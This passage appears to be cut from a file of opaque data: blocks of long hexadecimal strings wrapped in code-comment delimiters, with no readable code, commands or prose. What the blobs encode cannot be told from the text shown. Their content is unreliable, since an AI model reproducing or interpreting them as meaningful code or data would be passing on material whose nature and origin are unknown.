c3863748068f4b5e83c6ee0ddffcf039b732e8db04f8e19d2ee17a32e613d6bd04c5c6b9acf56262de5b135975e253858a3f6aa94ff21a12a11a57fde8660857277dfb2f165fbef859a41ad541533fcc85331ea3c2eca6a18ed5c79b7cd155e398d93d0bcd109477ba0167792eb0b139eabb13e29b31df540ae678ec640b7ce9d591e656a940afc79123de81fa9983cf7b4ef800e1f614c4a1855ae7d0d4c703262d4d81e62554907a1a37d61fd53f9336efaba73fb3442761af857c248ebcc3043dd304fc2625e5ca7e60ad59f7ea71b7cb6f3766d0a0cbed26ea60a3b3219fc3daa49a491a9a4a188938101c7f8db78029c7f09e1d03babc081472f813912603e228fb651a413b4aabf549da8b54fceaf0874e9c1df38843b9c0a4f61c9e05450c2bb327ed284d8e06592d4794727f71cc2d4c7982d61ccce5968ffd9b67cb8980af6942beb7003c3e7b9f6dff06768e2b656637c381348a3dd5b776685451a0f24d1be9a08191d0c4c55c08a0c8713e48bf24bd3e281752fb006135bd72fca86620e7865cb6443b9e6b0ad7657e2200718d7223f775f648b8aee4d8752d11979db7e2243c7907b8f6c4dc848daa937b1db71e2f145d34e65de371c4e5f42bb09a9a499c53b36acd29368779fafc382b7350685d5aa2b42a138291e9568d8d8dd589a3ea3872303e4664c4c05000db7837bebf15f0a3bf81e3fe154618c617d8c2fa3283963121cc74872829137dfb07b4493381fdeec8992bc7eb0be6eeb72f19f1259012fadc1e91aaa9c0d8af2e740b9be54f2e2eab8b6c4d95ae2b1b3fdc0f9c56e7227b064533d27e3491fa9b*/
/*b321af6cc8b52de5a4073387092e046793b8b5a18667028c0c250cefce8c53fd4a33a09f449294f928df955199fedb8786b13d395a241053253725abbb0ad9a9355471aee1f67446d9e4dfc9993380b9663fd271b0e5a6b4983647ddba639a63a1bdb74da8c05411bea256ffdb947d4a8f69b0d2dfcc390b06d762d89a8432e1fc195c710b04aef0e807ab6f8ed254b78643f6b27b76b545268f8007b782d2bdc63c9ad06a171cc284dce5763bf431cde011c0777cb2ced67e26a1aa4ba8bcfc550bb4ed65b1a16a14f88bac72e05a08c8c194094c8272db9cc2b7aa89746b2c2dd33fb58bb10b334c2188749026f3f946f0184c688aab6ae5bdf0cced0105ff69e93d891afa4d682abca8ae3a8287ee4b769b89f125ec92dec489b1c2dcb5042aa07e95392ca2f3b4ed37bfaea0f9559a646b382bb3c3937a25e4aad145d22cb15c5c6c92f104e8d5d7d89a830a277a05ad79e22d4b610f5950140013718ad3489cd4c43c7c91733e6ac343ba3682bbb1e1e886f61f8f93b242942d366fb28a8ea2e56d1e1f41e51e5effb6debe76e518e3a39b82629ce109eb1ac5a171d6f66a5f2e9e6d8134db744990ace0e8a9df8f34f8e98119d0d4692f13b96fda57792ff86e91cc054aa7def00677746efb79f76132cf367920029b279a343eca835d5faad9d18616d6cce5dc7f8396744a06908711ec4f866896bd8f102478bef803e6ca30ae9c6c5caf91be05d7d5e6b1746c33267a91f969cb1d80822cc060b05a2e20de60c2cafc3d0994be57a51363d5037db757607e6c658181b4f04d887ade51581052e7eccd4f7005f30307313c0144869bb09225b3aff5abb1ad98ff14a27237e38f7cb7516b7c05f4d1dfd55bf2bc73f83882e2c434d8c13a35f3ccbf5b91622ce87c5cffbfe708673a8f8c06a4bd86cf5956ab77bac5c257e5a3294e4eed875a78411dc6e850ddd30d5bca41539ef2c10d55cf6551fc69634ad384f0aa2c512cf65cfce7e946a4d85eafde2d94309ac5797288ddfdf7f94e0a6acaa53fa1094e42de8af7c9c708acac3134c8e52ead34c4bd984c8fdc8878053081ee850a5af7780df416192948724f750a9609bb1bf4f480494fcf0386a66f0bfa12263ff6449959a730ae5ad53ee816ec9e2a788f694b29e3e7d70348c6dd4a176726d6811b0fd2e7b7c228ef7379238bb7ae19f6e462e86b4e6964822c3e1e5cdfc70b2be698f43b180c46e2ab809ea874fb04c2c5c514fc3742703f7b274de1c4b684821a21442560267235d5b00b52799508eacc94740907a85c9ba3c594f7e6a4d49a7b5d94cc4d970dd24c4a16e9e321bb195c002eaaef87e89e4905f08c6499d35fe338a8c12a9472356f8712dd30d344ea9d828380e5d225eb877d1dbdff3fa47dd6dbc1f33d1bb9e934ea57f63029fc1f6caef43a69e3f96db9167d71f02eb6a371c093f8e886c9aa7f2b5a07c58397eca4347e71022eaca45df894cd3507205f407578fb95aa52c8db1dc9e114a7299bbe9ad0a2a068281141785986b7342df3d831c691aac9b03dc6d9f2aaf1b92f556a4b02385fb358d6cb484e5983340d8331d7940b042863ba94004d606eeba036c91ca3adb5325ca57a707eb46ec21d1a3feb460ba3b5106c28eaea7f8788640e615e25da0ae8d57d00bf921a04aa2cda56db605be2e7dc2235db189c93e71b0d504adc7f5970793f5f0aa94e459affc414f48a598644ed50a5fffd8d7106f7be15274a8690bb053090cd9e0ef39a979b687a06fa5a4bd4e03dbb433e223caef6ef40c21cb97144e18e1e422741a7bf02c9db028d83d755ee676bb56281e8f80f99e3f5366ded7c0152a7da06bb289ba113e2e1babe75789885197fa2cf4871ec38c3d0602f2f9479aadc2d6c8c4b7680c35dda2ea09115a8c62208a5d52628e8f7fadebc765de7f48c346725e0c875904353aa7ab440359afa3ca516e9958b0245d37ef21c014c8c4c539c61578826a2747fb4024eab87f66a39b2edaf65351800ecf73cd26a33fb194c1fbdba22adcfbb794090fa535e6399fb4e68e201fed8ca1cb5842007e80a5778cd31bdb7a13076ecc3ef5a50e477d63343164f31d7a3bbd8e5d8c3d11d4b4fa162d1952bafea60591d972e450dd6c52054428dca366fda4ba5c93bc22ab7907b41444a4598e5abecef7454d42f2b07aed2ebef83eb7a7cead4aa8e1c3168bb90ec809b67e31956b2a299b83733080c489690ea8fa28cdf8b8302dc056759381eaa8cea0e088f47d2d822b529b115c00326239e68899c6b4fc39af26d620be911e10d315eafcb7f5a6ca36e73ed16b3ef81338607cf1aba1f723071897fecab260dcb6d79441330b73c50fe6be73fbbcc0653255291de22f2e7d2caa5e0bde95221ebd73bfe6ddd5e9e5e3d85a10abae616da7db6f4152ed3dabcda4b957f81e646a98e100063c24ad50ef0391d08e3c46a354a10464b4545be6c14303b16045cc6b664b02b38c611a534fa7b89b39c97bf8014eadaa3b04a3c7098e7380d7c6db9e4d2fe36525dbd008cf1d1658dd0cbc58f54188f4dfc67d3930a351335728f1ce6d9a231da209624632bdc5c1de25de7ee08297ba72dc5b5b14f36c91e160da5f779d8e113cd376a86f889b64efc5a250a67c72586523ebb6c99696de625303757c07126810b8cef2b6c65b35732d7e17d7cdd44b9686a9dd06f642bb91c14167438662e98b95e49aa304ce576141f7ae66f3818f2acd9b2a4d46f8a44bafa4eda7fc17d90976ad1087422035dcc08fd7bff2843deaf370397e9577c57f7135404fe5c4500e2efd2339d0f9ac6e6bc7c902829*/
/*a5b466a095a7218ab69d0306b45d8a1172f578470c441ffbec9f8c08e1a89caf6a87caad348f939de2a1de046f224d8d98b9e3866f52d60a457000a9efaffbfe4c254e1965f58022cc1c328c178ba579a834aaac8238a950729a14ddb54654186c54aa41f73b68238e23ea0bbd16839d944cc1ccc98bdc113d4fe7dc166baf43e09f90b11e9446a2fc8571cb4d897ce32a53cbf93c5520c33d7f033d3367f1630e73ef9c76867c11d21194a125c1076bf15be63a75b0735491f5be06c5e3ef70292fc6b0dbf79c18cd201584be5fdef11b385ef0f96062d152753e4eb93f5ce49f3bea8260b84db7e071b62d92ad19f294bcf56d808d8a72c3785cd7771195fd54ed96b1f7c69bb12204c4b7e57c3113977d7eabd2b345d584e70ca9b81bd89b82cf1153c1ff1b3f6bc084bded79dfaf9684c804d7b025aa147d454a702b5887ed9beed112c7f04ad53e575c8cbf4cd23c7d030d0d457a01cd7a0df721f6e5b7082a0a927a963a6e885c98615cd40fbfcebd15f925b0637b9965609469d66c2c523d8ba428f1358ab9a10e0dffac6bff0dee242f5025884764655057db6d5a4343c6840be231137e2e2f69e647e15513e290d0ac372364e10932c91de817109f95c51b4a8a9d3299b2f416bf79c1938d05c9ab0ea80574fdbe6ff95494a46a0aace4749ee3487e399d4ad4fedadb931caebe4ff9b03fcde1e954a1465c4ba34f7af60644caac5f8a727855b651b9884c026069f205be14de9196477f5904ab37a19630ffe9c7ff7c240781d84dbf852a3a3c2f1612dd11069e70383e7dd04bb84b7e967bd95a319c51f1497992f33045e361b5bcd1e60d7278d074e94ba08578d2b9b7e7e8b170bd107e6374a194c521bccb976a43a2296dee3672ed3ceb3c97ffa408d4864bab76ef4989034dae97894322b37b4e297d2360999c514361b3b715730a51774c6a931174f5bba2d6ca5cc3f4c491911ac535a34be53bc2f0da43971ee3718b8c3844bb2985c8fbc50596b088a01d6c6e764ff2854205c0c878e1e253e50bdd3f237af0b11b63ca8a481131155481b35875abcd996dcabea4ac2300ffd2d1f6c98c66d69ca405721a7befb1aea17d8e48a33f6140e20a3028bb3778c7a569a07e9fc324cc18c553c4c2467566e3aad76b6f58c878818a3a722e95f8f0335379296079fd42fd4b007064d092677441f79a8bf382dc7d25a54f5144367d570a28e6575ed723f2cfb152ed8e81554dde463fd1a8315986d0e9c969acef74ab3c359061e5a987cfeae30ffbd984e1e588dc3b0081e3c1e550c47a8319eccb7d069462a93b21ee3223165f060787e7d19346b73583b2a4ef62875ea8e3aa855e4250ee9ae6f5af9b4acfc22099dbbae42c5bc5e8a2ab5111bf76bbed85ff4b99924c139cbef0f2ec74eb08eac4801dadf0f4547483b44294a1f74ecd2d1a156caa800dfafff2e735bf406d89f17682c97df955199d49ec6cd0cf4c917b6fb3d9b2fab316d913050f8c06fc9875e21299e74df0719dc817623a61ad1c3c11cd5aae9edb9acbd13c878dd2b9ea2c848d91e3709299a01ae67da3c663d8cd0c888d43da4ff46dcff06c3186ca4bfce232583606c31673a5f0caecd185481b5137680c6ec3a46e9552bc1d822ab80df85c94169b95e7ea993157269b6a59abbeae168e1193926a6cd11d87dd2eec66d199dddf7de33448ac6be975b99426006d5e1ff422b404cfe61065e7a65e302d17be55fd1aa5c97375f54702b859c921f4fb2dfb04a9cf232dc97a21478f8c66aeae9c30e7fe86df52cb98b201768b276a8086ce6061de8b8ef1ea63981f19824efb6b4351d054da5e25c5b1a0bf5ec209eb462d90db00068cdab5d0f18a329f8c64367bfb4aabce80342eb97106eca74e8bd51dcefa4255da1a85d05033b2a490b8aea48bde86d873a88ca4caa967c28a508224c227700ef90a5dee8383c1e1de11b85a377f88139a6f681ae56af32799d4c28f34db5550d79278831cbc80c179789f571ccdeb9c186fe8104d2e909c06b5c6afc5d8cf2fee36876bf1881340b98b15df578398cb54db46884a626978b4338ac0cda77a42f45a2b461a2301dd520efdd59eb59b08342f343de72b2a39d326cca78cdf1ecb525c4354b1300aa43ac888094d192b3f48b40c6bb7d10642ba468b255a2df8fc9c867b994e3ed17b93b5da534882ecf6aedba845190a3e6d7e52877604f22e7d658330447d3a8e12fcbef6c43c0093844f6f4ed032bc8a487825dffe682fd6dd95c37b0ccd67fa45eb896a867285a672dc09765183072411b789ae0a715bde80fd3116166c057229eb531b493ceb2af3ad3e4868ff4a32459024030d470254d5ee4816ae64b8d4b165811915ad901fe4bce673092b1c92f25d02e65c1172f8a5a5bb0bb03fe61d11be0ed500688f4d884e5f5bb8440ed92e381171a6ac8fc84d496e9473e5474fe70cef1848d57b2bbca559676af613d87e91c1c19ddb85fdad8bcb16365b238caa58d4c226bf2766a28cd17b5c565002fca98c85f2ce2ad639517eef8561486bd1d575e9289c26c8a0fa2d6512f58cd04bc30a7c405906a46027e90aa22b64ffd0cab38caa122ea464b48136510fa110787f6a1a7961461c497ab474a8ce2f7160f88ab4f02b771dbda599ffc6c0d009fbb0799a3cb0856e6a18fce5988ee0d079944df2c3370a4bd79114f403f59489f166b4c0c3cf6bc2394de08fcd27771077753b99b71bfa2c587cf9884135714931025b8dc0b5f1323aa743affe0807df0418a7605abfb0c2ca94cc851a36fd1b00f34ad08483b2f83151d291fbaa6466a9*/
/*b44141f6edb9c797254cf8c86cef540d86c555eae764efb090ba946b2f70648f3c0ce16c551459096bdaaeac56ced15c119c2af54e4af12c23388ac9596006e7349d040a47dc903a5e798292dc0d23d6a974f6c737463fdfab80f1ef088ad810c9059c3cc3170e27cc17db4097ed96a6bcfd2afde27ac3e8661da1540ec79d5b17fe89ee4b683b89a6f9d9e10e7b06c5c98db5c261b2265d6febdb5cc090204d1cd6c34e491daa6d17d518ebd475ae00590b6b9ea83db38c5de3f5f83749be60d344fee923f885ec9bb28f6b6eb1d0d85249c72ae81bef56046908cac0c31f0fccf352cf196570b639ab59204c4ddb222f05ef08f558b56c870583a0caf91012327800fa28d6e50dd28f7177f70f3e4872b3c0e4a56d207a25c3f277dcb473597cdb1fe646f244f340d9b4e114823014c53916da22728253ae00bdbadf9f51df4270c40e70925094df85a43bd9f42e57da083a2672d3ff2713d10153d3789460d096f6673ed875d05dedac456807eb30be68868817f404aaa84617790f6138ab0fc6c001cc0e15244907c84c1ba04c323ce11093917f963b9b53871bb422e9d7d259434c0e2e2a0ad45c4d07f1750c46bc1b72a14bdee4af30a2c2f2ec6f05c7e405fbaab1064db7aa5282f494806b8e4065fabe4e867e89258d200923aaaf1eb123b063ccf8fd8b626c166625e68d3ff0aded3319eb895b7633fe0f5a9918fe04985bc2d20e39a03c768e60b90609e44110e5d5e3ef5b3f6fbffc03c032d7442adf42a093f8f60335bda903bcd58440781f4da73b3d5633ebc7129747e3796fa0975155b86670a038455f4bdeeb00c124c649c1a23c33237eb2e30574b4a0c62c4467910816c070507357c86c96699ab1c2a00f2f68e0472b704d31333d9969ba415aa07760809650fef674ba8fada77a650f07c26f01cfbff71d32d47d6bfca1a3fdb537334e0ca0e425acd391715dc92e497e01b2900e04f02f086c6dab81d9af7087d726d0c84ba8bb8c9a3583b76ec3594ce935843d4acc5a4680f4bec3e6b9c663476d1ba58f53e1b90dfb0f66e4dcc3f5551495d0ba0b87fec0862c661f73fc3a7a359be232686cf069498cc1089d68abe7b832d1be5dd83504aff64389b6498832617c12502169b0bceaa8ae0c55d369e7fd6ec90f4214dcda7673f5fc9e3d34c12f2253f80b31fb5ba6c8b02767a6e5f957f4a1ac8198f6dd56b42b8248d24b61114da319b3fb22ae5ae4d75dd0fd647240aa00c8320ce3b193a5c939b0f179f5ae469f297b9419959fc617b731afd7c9ee0d375722b61e68e63321114aa28ab77d1651ae2341b2dc03106c50b30fd6d2008adb84d676536f9a6cb7758076e43883f3f9642613995eb41e881387d0ed54994411b87a417e074b237d564d96550e13335e5d916c26b58be2d30d80c94465692ef3f3255b6d5cbfd30fc2d2d504093bb5a0de28a7c1dd0899d3d8a4d4a2d115cbdf2972567f794c0200726be90c52fe575f41b848f1c9c5aefefe7baeee875478e4d7c67ae1138db1f0b22b3cc235e73c2b517fb8f06b98cb05fa8b8b94576390bae6c40595494c08052737446908363c8f5a68efdbfeffc47076d916ef03fb8ae1b3fa8886e177c7e9f468854ec365b79fbea337c8ee89214e33b95fb26a196b6a48b490b77a85c73d88c31a8ad6abbe3170fd53585989df553e06e0cfc2d85b3a7be2029c99e9e5c1c538a17aa971f6afd915d6199fc60c93fd5ce897f1dd7d2963de0c20893bfcceaef3ae4e24427c4c0a8b7f495ffd764927b8121a626a3d23f92d54f03236ad6df16bd80a732dfc69a3db858535a5b8561b23177cfda947541528bb8ea617d48164258403fea4e91c6813305e663446966908795ff6fb488ec2d8e8eda4360a1a39febc0d661bccca7acc65d7e749defa186b4ae489974198d055dbf32066be3f835a0488fecfde672040106db1a53366b375195527af9c8873b414a8855712766ef024b79031c665e2b16260205cfa1c726fabe5dc8126311a8c38fa1804ddd83aed3e1e89b12aebc25d33e72dad27d7080e6c6a42bb437ccb4f43495b4ac8ad859128c915920a708f7610d405520427d6108bddd031b52a4f82b5c77101f87e3b830d57a5f2be67470fea88b97a316db34a5d7b206c2fda03c67de9a06f37fdc1a38b2c45c07fcedc19d9b1c88db971ec5033bcbbce5b226d800f9c231c5c78639ea4902f47024d1daaa890d783adb13e2cf57493d136ab1735e582645024b1bebee313f7a716d88e651ee6a17fd354d941b4fc3fc7781fd5a53a72ff800b87d091d713db8b9ab0a2f274cfc82c85704124cc66c376c494caaa2e3817be8c6db0870087692e45f4be7e4f65b64fcb567660081e372991011d349b9fec15d155443b9636071a46477c760c676ff01d48cf1cd3c87496c886dee95bb2c9e8daa347ec086927d5b430ba94dc48a03cb301ee9bc1b58c12c97f2d7039b7560e9576e123f343c3027bd4ba70491a09e3b642546cbfc8b4b5248b8d12ab86a112441a5f90a91404a17535a2f939cb4a58188c428a32dfd1b66514582795a7d078018371b101ba1c8f14913bf82fa79e1c07d52ce4374ba804a36edb41cfe057b4565c2185f023a25a5ea665519c1d87f0ba433f2abd4d85328bd4e0e152c7b09aac6158d34391f6001f16070b703fd49d161f62c4d8bf25db5d2a8c3d240b19d5019d8b49c687530bf7cf1870d689e616eeca6dfc4e0bda3e3bd8c75cca1f17577b2ef339488ddd7391a1a4bfd595a1e4267f4e6f061be24d989f3537590d62df3fb4acd5820fd1acf7f59379b891b73281f0*/
/*3b53bcfb52d6b08b69c63a376533baac343a7fa31b7665cec6b24fccfa71dd245c0e9da5a60df2853ecb3ece589837f46a823fcf850428c60c64daf4cb75a268632b16c97c209aa553daa63359711a584c13db6d8e8dd679a597e773f911e57201264b805fd107b5d44c337e787ee6dc46b9de2ea27110ca334454689f9abedd53a855928381ea8893899bbf6323c639fe1810b6fc45c2f0743ea68b32bf85726197853f9a2f9e639660ec84ccfb1c0a851df9bcc9291bf487986bccbe031b4b6d8315c47040c3fbc4fecb1b78dca1a1bd255ee668cf89f36e99c71e65991735f2c866eff4fdafa624a1aaa10dd8ee464d73ad61d1d920a5c5808efb866d7081cf1d1c1b9f9051e772edee891f14dfe632d4216e3e822982971de134249f45fab3eec78c8fa2df881d90461da4eb8c94332f8a5e0acb495a2cc0a2f19bcae3cca9e730c7212a9afb71436125bca5f418fd17bbd547719a7af35cf5ba19c9ec896884a5abb98353012f039f9cec2d9494b0d121bba2fa49073c5f851592dbdd10f07bb19e0b85ffd99fac51b0f23a39a3fb1e30f25e0a0f0fbb70e995c437a5ad574edce849b240e86a14187f91c39ad96011c705514a8ff7e7873c7b7a270d078c0d187d5754c0ce691ba0e13a3245fa9b1af5bb0540292749a85aaacb2cb70e90fcf49ad0b189629ba281401e38b0fe812b10416a9b356c188e1f6aa90670f178f5e78975981ce856437919ff1bd036edbf1e277a29323da5be33bcbf850f417dff21968c3d43f35455c3f7f261f13c4110b5bcc470c85f494ec1b43cc4fa57d0fd97f4e67cecbcc2851d15262ef5f4d58717c4fb0f4f49fe042c13e448e21a6dddd702570bd94426e9f55d82afca3159fd11ce3fe7ddf4bfb76f362243e050806951b475342a68b780d6727314a9b1d69607fe62abd1b5e88be27178dd5c0bd9e0c8d8faed099b1cb6e76844aaa73237d9ec65ef464d9dd88398ae16b8a902693bc9f6ba4d712e1ed1951de222290775b5b95660f5848133e0628a79b85530f4443be331ce3d6b9d6129a1e6716627c09dcaf6fef50509d19ff7ff19eae2757fc8a3d79073a798ea7b6fff7945283d2115f768105c7ef9f1efeb72f3a8aebb8ec2cbdd9a752382210c020e2a94a4ab6b1eaaa4cfb07c6d801f4fcb6905d804c7d8bc1b0e046e70612b2013db05248d6023e5d28abe135c3963e52f34a977cfffbe62b71df7e6a8bbb180f7a4549928cd27d63d690275228755c2eb14b1ea9670e511ba228043a7fc4233add6a94aea7b90f387baf190ca3cbc4e6ed1a772f6f6567c2a3b1bef8e0d879cce07de905cc483e2b73ea39454c0da17d6cc5ed3c3ec0532d16ab526106f2e760ae7106979fc6563ed4d84dd9a1e11c4088fac75737f36fa8fc58bb569013a05b25b138dd8ee153ff4fb338438f601fe986f1d0ce8170bdff7b070b251fc2a58ae53eb9a88bdeb7cb132091d0849e57afe75491e8ee7ae7232f7314ef9fece63600e34cf19e8554f55eaa7670cce0d35ebb11f0f43653bc7c34825636b9a1afed45249d101e7017abe9e0490afe3f01793dca8b2dadad11f4180f426be15bb474a010cb4d92e3a23e627825b536816a5c8cdeb9228c6247245b6145c75e2e24a77deaa3873b8dbc658d7f580ba291b36219f7658f6c6c28ef2d840af4a417264f858a5d84da6dc57626cc2ac69dce15cf1d9ed1fd8c6facbe427961a5495906951d1196ec7bca44e060e9793fd0b518d47adef608654274179091856ff6ab86751b854dc6223e764b6f6d013bdc945d42ad7549b92a43d1c72ab04b021c08cf14fb9fa0b70746beb1d7c083167778d61872ce4e28f08f631c93f6b909963bd7b1c1e093c2e6e9cf10146a410e513ced0340308cfdc09fa20d4b7edc18aecae566d0fc87a1e1d437bb634e6afd08861575fcc2305e4d8e675a27f437edeb8efd9fe5f26806d9a0f66fcc43506283ed395cbc87acdeaf2831f19f444cc533b0ffcea98fa187260f663fc3bb15ddc7cef8dde8db35128c75fe6752c9492c33dd38b1803bcdf4deb4d25251ac9a1068ff65abba014f34b69b400c0f5ebe07bf21395bf9ee8286d48177746bd44ec1b71f8b0bd841f911baed5228f3f5c70654cb144f4ae43a686de4f0675af27a9558e5b0583abf6ae9fecc0cec5902ab59da4623e5d815bc88eded85dd1636d8478dd414b0753835789c01a798575aeeb953c5ebb0cfd4d392fa6bf73cf370d2e3e4858570e4b27f317afaac3b87b0aeb14a7c2a59dd04e2b21633db81482c766e0f81da14b9c4ee55470be5d29061c95bf78fbe7b321f5b311927d0b123c96ea3a09b2ad599aba2d2b16a980a2a6c663903e1ee6fa94335bbb95b9a0e00b04005306a380dbc5c62d800293b0514f745cc0b18ee4471914463709e6110bcf34a1c22f59ff24e2b43f417c6ee587b25cc3bc86db3c300a87d82bb289bc410fab181040a356f4591573e75e104ec8c6bcf69cf0d14dae464392f40fee625fa841de2ae04ffb13fbf04166001838a76320bdfa37e30b6c2c6a6e731b739877d686395f42e7aa925e1d08e6bfa8563f8108286592dd276abb8e91d95c11fe6c21bf47c861f8c68f30ac3990a3c6377a21384f2d20a5777b6453280500572218c41f72a289196d70d8b4c4c30d05ace603158e23951f1cc9d9924e84a4e0346ccac3edd8a30f00f1ee1c1f3cd4a4147eb5b39bbb5854a4ee7252c9c48e835c333e2a3ca7b5cc3f2c34afd106426220d3a3672fe3aeac941616d33384ddeb7c7c1c0db14849813ef65ab032605cdf8dacc73e4a6e6c2b21d666ca443b*/
/*aeeabbf8f587cbdc6d20c8b777d8937c7362302e63c60184c1ff2af5e6d05f2185084a168793145dbba9e483c5ff9367e006945e907dd790b1f36f7f4f12e42e2f4fa693e7bf97e38ef2cdfcc52776605776e2e1d9fa28766047695570a9d3d11b72ed4fba3694623c9a7f5d761a6af35cf2ae4f88db45ab8eb9eb9f9f6148ffb035fac4640be4f1361208092d27c56192f0fe98699f5219632791ff62c77002730e89cceb0a82f76e5e166911405f549b13763fc7482413c153de8ad3a33851511c7dfa8c16d2d8ae687bc017b449117b2d8ec0c36503e154a67fce9f885d21bafe4991a8d21125018679c66ad915cf0f28e5bbbf9f09f908ef64e9c6ea70ddd6e26f0a03ab8385ed3ba7d9ac62746bc02f43fa99e1efef8c83c0efee3a6d17d543cf690ff0de320b2715e37e8baf821c5a669de5703c97cd6c9a4e618190d270bd31746838a9fe8133737c7269204aed6526b4abcf1149863d0653abbe3f5be5b98de28a2bfccb6870b0422a40da3ca4e429341f24d868f1cb37b4ce5cc8bdeeba12f838de8efeb7bd4dfb27c8dc14ec1b2d2bcc24762c285b31789a477ddfc5acfa0db6dd07494eae8cc3f7beac77306ee3dc2ca04029f15ee199494bb15efb1e1f403fc4e7c6e4fcc3e40ac89bca493f8816f32ff42463ab259adcbea09fcd0c6a9b873cf74aac79f3d675a61582a47b1e31ca30d5368e528cbe33622e9cb25f4ca4a3d252f15b6f6ed239a0212d9510c434ab095d8a9532348f88abca12ac9b476935fdd1edfa572e58b85859fceb3982c6157655478d0c0e6828bff30ba303280498a1ac88894712982d6bd73d6e40ea2b50ceb211d1177a286c1b399e820b55c713204411ff28a71f3f9b98476a1f33e3a552fc8cbb4e038759eeddc29896c120543747adf5834b1291ac5d6707418583b1584edb003acc8f4681ffc4c035f415392b45f4d882d76b9682e55b1e7da94778d9fa3e23cda529f9fc04ce615a5547c9e3162570f79531d22fd7ff3f17e2d59c51b75e55b59c1a213cf689d74d68cdefbf7c278afea226e69ac013666219bdebe492e4579389e0572ad31ae7e626d0fc27b58fc8eb6609db9d3ec9cb6e628ca67c1238366c74d5cb6f73fcbfef22fb702ae070a71c25f5146fba6ed44df42f9046e9db2ddd4fb2c3a479c0d0130acdbef8c7279990d5592bc5b6658e7f410f39631a5c8941798697a1d217878737abe59f6bac1f77a17819971893878b530dba45835d598c71a3dd96e02815cdb0f17e8fcb8184abec14ba7913728c10ea098c142393c62de830bde8c8bfb29e2e653463cc19bd11fd48d6c04052ee55dca2d330505f244661c7bc26a5f9cff3ec575452943e9feb940d8d6e948ae5eb13c6f416fd5dff20c632aa9c9910fb8eb991f43890fe45de16f6f1992528e540e8ff1def5f73530ee13b0196b88683cd0061fb75d03b02ae7470ba07b831b2534f993ca1b2bd58d5362a3e9aab055a6f9857a8c2cb3ec9f5f82703ddda6286250f4561d18703743542c3f74dc52bc56b3086dee57437cb77b2e931c43dd156e3442d084b3f7940bd1efa92ec7d490852228dd2121ef0fd0a73d9581bed9adb73044cc8152f4c3652dd9db3df95c1a461f06bbaf4bfa426034cd2fc1ce04ddab263ddba66894e101037ce90bb853b734b351ebe09c239d0583af14268d7e89d03c277af2c8b1e0b259dce2451dbf6dfd6acc0b95e61e7c93a17a8fa75d74848ba3cebbbb13040804121ce718f58d45f3f678ba42741bdac3d064aef3f06422ac5bdd528e165704d29f89e8efd74c1d77bb8206dddc58c8143f8cd903132ab8cdf03c468566f50cac937b4652e9b5f13afd8201704d63a03ef4e3e5e6d4de4f8b7b76440711d017bcf3c17b6b9f722df69bf7d6f9ab3704f4a412d039e82ff3b99eb6a8efa9cff5ee27fabc79b21292dfee3eef56fe84e6c09f6d2a2a1f9ba90e78c53e5bbdc96ffbc90d121642ae6bd5adc15ffc3c6d32d8e3b4f51bff53959eb81b3be5aa86dced1896e89f242e9744cf8bac207bf0ecb4558f56aa0e51383d3823a7813606e1c630b0acbbfd4d72ace67e1b93e726c6aa36bbf2c354d2adc1225b3a2edd2c714e217350ce3ae689bfa3e1b4272aa8433d9d039237cb9bf268d58a8437df4357496a92771cd8399b95140c7e0edf73c89f429f4d71c4ad48255911ead8ba2689540496e6a5e6b6124d3338043b6654158b2aeb8eb49c415e80d6ee24ef8d3b71f71e9f1470a3db93246d59c44cfce401356fb4f49d083fddd16ff72cb7ae63de1edbb7d17477a607bb098f19abe3dbdd78d866ffaaefc2c71838a0d9e403ff438265c688155dc2118922024ca6e8d47d4e07fbb0a6a27aec82b56a78d590b1af5092f492f1a92bb0b06d449a8b9460b1e703fc7f9a58cc04bc666f0fe3410794437a22f8626b16241a87044db36e5d317b54ea5bb706b71af0d3dfd8f2a38861cf6f6ba80742ff91b67bdd28ddc99bea280c4389f5dc39d5f59f1ac40e637138a0b7e6b49c68ed2b59039d28543c86b00c7c83e4bbb1decdb4770fcc818392cdc2a7c9824cf76f4ae399a3d24c0422693cdcdfe0dfbfc0ecd588b500ad12949e1f4bbba766edab397f8caeae57193d1c6f2f48a694ea14c1c1f537ab407266a6b35ea2ea4f24923fad1b5c6420de08856d1176ee138d6fa646caa7e24ac72be99e21cb313930764785a6fef2f97d83c33a60aa968aff4c4d65a80d9d3821fcfd8074e2c6d61bdf27f5acce7653a97c048adb6d2d99651c1a8edcdd834d33abd3e1aab7c4a20a52d4f6b864aca9e03b4b4fa3d5e4b2b4779*/
/*2af524d8621004196bd4eae3ffb70118fd5caf60b78aeec668d747a42226b963638ab30574ef6d47452fd6bccf6df3a3094a10a1bfa3e7a27e0e9e8083d0058d61d4de8b409dea6dbc10fb0d1616d963e1374a5ab66677b97921831b6f890d5ac0387cc86c6fb2476ab2b185ff5cbefb7a19ed11eb86168aa6bdacb94c1354198518623be8451e8c9e7bec66400640ffac7c72a7de384925adaf07affe0cdd94106068a85416e3d9ffaddef761179056a8345415b6c1860808ca18236f01cf9a66674c2c76e852f1b6e7df1796e71341b739146be067c847b3c865e5f3bdbe1e28f07060be5fe37dbba401971459850e05b21be40fd542917ea68dfbfa487c461b3ea41652277be9fe3810746f8953cc089b7eda1ed18b0ec5f3cc8433ee93d95c80c0df3caab763a233fd80a9be5922a70c96d3c741c931e408d9985f0caefe8a0266f37f079242c75476f525f4fae576820cbf1d61862c4c52e4a0315c08f4c7165a6ee1d63c20573aff9ef2f4013dd9ec2af416fa8a5edb197c9d754cc4968a8081022853ffe481b6199ebe2251dfc3b6b52419ea93e370af4983cd19e434f1b84c674bc15ac4cfb5547ccf6228581ff2e379abb209fbd3ee8c311f13384f40a454e52e50e57f40ea9e70691b5f1383aa38e6937f0169fa4830fb0998fa824d8799be5f0dc2312c546f1cd7d1efae3448ae707c067b59462c79750dffd4339cc58212f4d26b5e32b69808bf4f14af94fbc0b5268552f337b0810133a670697e2e11f1178d735ad9f1d815ef8205a45efd2575b95101ce93f2b42a70e46797c3a14b115450c951976b3ef2e2245becbb5a79188ba53625f924c9953143497ad96477b1e0ece7320b48827c7920e6786b69582deaea78f2cada516b9af8df243ce1c943ba5537b029e252ce0276b00c3d9ce9f4a599cd382d023611e84c0c409586065c7f71f8c89ba900f66b374c5513cf85f127ad16b99f413a510414ed9563e94243685840d2f320a6db0a132d76892c47d0ee85a8c23f32ff0505db4a28d76e5f42041654ea21f1c42ea28b072ce6f214b1dc4e8d7a2b00d872deba68fed0c2280c20cc698003543c4c3669e636c181fe97b6fe248323880ca64bbacecaa5f13d1b5815425fc7b3e453ce938299c8460ca62a9450dea493d3cf609be611ce9cc8a9d493f4ea543f049bc40231190bfa6a328feac5b6983e37f894e5e6d649e5f9902c589d9bac78cfb7b2b1b9218db75ad5